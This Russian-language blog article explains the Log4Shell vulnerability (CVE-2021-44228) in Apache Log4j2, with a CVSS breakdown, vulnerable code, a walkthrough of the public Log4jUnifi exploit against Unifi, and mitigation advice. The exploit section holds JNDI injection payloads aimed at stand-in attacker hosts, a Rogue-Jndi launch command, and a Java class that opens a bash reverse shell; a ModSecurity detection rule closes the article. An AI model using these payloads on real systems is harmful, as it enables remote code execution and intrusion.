Дерево (бревно, log) — это игра слов. "Log" в Log4j2 означает "журнал" (файл журнала), но также и "бревно" на английском.
Дерево (бревно, log) — это игра слов. "Log" в Log4j2 означает "журнал" (файл журнала), но также и "бревно" на английском.
Категория: Программы Теги: Уязвимости Опубликовано: 15 мая 2025

Уязвимость BDU:2021-05969 (CVE-2021-44228) Apache Log4j2

Уязвимость BDU:2021-05969 (CVE-2021-44228), также известная как Log4Shell, стала одним из самых критических уязвимостей 2021 года. Она затрагивает библиотеку журналирования Apache Log4j2 версий от 2.0-beta9 до 2.15.0. Эксплуатация позволяет злоумышленникам выполнять произвольный код через механизм JNDI, что делает её особо опасной для тысяч Java-приложений. В этой статье мы разберем технические аспекты уязвимости, работу эксплоита Log4jUnifi и меры защиты.


Технический анализ уязвимости

Уровень опасности: 10.0 (Критический)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

  1. AV:N (Вектор атаки: Сетевой) – Удалённая эксплуатация через интернет.

  2. AC:L (Сложность атаки: Низкая) – Простая реализация без сложных условий.

  3. PR:N (Привилегии: Нет) – Доступ к системе не требуется.

  4. UI:N (Взаимодействие: Нет) – Участие пользователя не нужно.

  5. S:C (Область: Изменённая) – Влияет на другие системы/компоненты.

  6. C:H (Конфиденциальность: Высокое) – Полная компрометация данных.

  7. I:H (Целостность: Высокое) – Возможность полного изменения данных.

  8. A:H (Доступность: Высокое) – Критическое нарушение работы системы.

Интерпретация: Критическая уязвимость (10.0) позволяет удалённо без прав и участия пользователя нарушить конфиденциальность, целостность и доступность системы, затрагивая другие компоненты (S:C). Максимальный риск из-за сетевого вектора, низкой сложности эксплуатации и полного контроля над уязвимыми системами.

Суть проблемы

Log4j2 поддерживает подстановку переменных через синтаксис ${prefix:name}, включая JNDI-запросы вида ${jndi:ldap://attacker.com/payload}. При логировании строки, содержащей такой шаблон, библиотека выполняет запрос к указанному LDAP-серверу и десериализует полученный объект. Это позволяет загрузить и выполнить произвольный Java-код.

Условия эксплуатации

  1. Приложение использует Log4j2 версии 2.0-beta9 – 2.15.0 (кроме 2.12.2, 2.12.3, 2.3.1).

  2. В конфигурации включена подстановка переменных (по умолчанию активирована до версии 2.15.0).

  3. Злоумышленник может контролировать логируемые данные (например, через HTTP-заголовки, параметры запросов).

Пример уязвимого кода:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class VulnerableApp {
    private static final Logger logger = LogManager.getLogger();
    
    public void handleRequest(String input) {
        logger.info("Received: {}", input); // Уязвимая строка
    }
}

При передаче строки ${jndi:ldap://evil.com/Exploit} в метод handleRequest, Log4j2 инициирует LDAP-запрос.


Анализ эксплоита Log4jUnifi

Общедоступный эксплоит Log4jUnifi к BDU:2021-05969 (CVE-2021-44228) нацелен на уязвимые экземпляры Unifi Network Application, использующие Log4j2. Рассмотрим его для демонстрации работы уязвимости с технической точки зрения:

Шаг 1: Подготовка вредоносного сервера

Эксплоит использует модифицированный LDAP-сервер Rogue-Jndi, который генерирует ответ с шелл-кодом:

mvn package -f utils/rogue-jndi/ # Компиляция сервера
java -jar RogueJndi-1.1.jar --command "bash -c {echo,<base64-shell>}|{base64,-d}|{bash,-i}" --hostname <ATTACKER_IP>

Шаг 2: Внедрение JNDI-запроса

Эксплоит отправляет POST-запрос к API Unifi с вредоносным payload:

payload = {
    "username": "${jndi:ldap://attacker:1389/o=tomcat}", 
    "password": "log4j", 
    "remember": "${jndi:ldap://attacker:1389/o=tomcat}"
}
requests.post("https://unifi:8443/api/login", data=payload)

Шаг 3: Выполнение reverse shell

Сервер Rogue-Jndi возвращает класс с шелл-командой:

public class Exploit {
    static {
        try {
            String cmd = "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1";
            Runtime.getRuntime().exec(cmd).waitFor();
        } catch (Exception e) { }
    }
}

Критические условия для успешной атаки:

  • Доступ к веб-интерфейсу Unifi (часто доступен только во внутренней сети).

  • Отсутствие фильтрации JNDI-запросов на уровне WAF или сетевых правил.

  • Уязвимая версия Log4j2 в составе приложения.


Где используется Log4j2?

Библиотека распространена в enterprise-решениях:

  • Ubiquiti Unifi Network Application (управление сетевым оборудованием).

  • Apache SolrKafkaFlink (обработка данных).

  • VMware vCenter (виртуализация).

  • Многие Spring-приложения (веб-разработка на Java).


Рекомендации по защите

1. Обновление Log4j2

Используйте версии 2.16.0+.

2. Отключение JNDI

Для версий 2.10 – 2.14.1 добавьте параметры JVM:

-Dlog4j2.formatMsgNoLookups=true

3. Сетевые меры

  • Блокируйте исходящие LDAP/JNDI-запросы на уровне фаервола.

  • Сегментируйте сеть: ограничьте доступ к панелям управления (например, Unifi) только доверенным IP-адресам.

4. WAF-правила

Пример правила для ModSecurity:

SecRule ARGS|REQUEST_HEADERS "@rx \$\{jndi:(ldap|rmi)://" \
    "id:1000,deny,status:400,msg:'Log4j Exploit Attempt'"
Алексей Черемных Алексей Черемных
91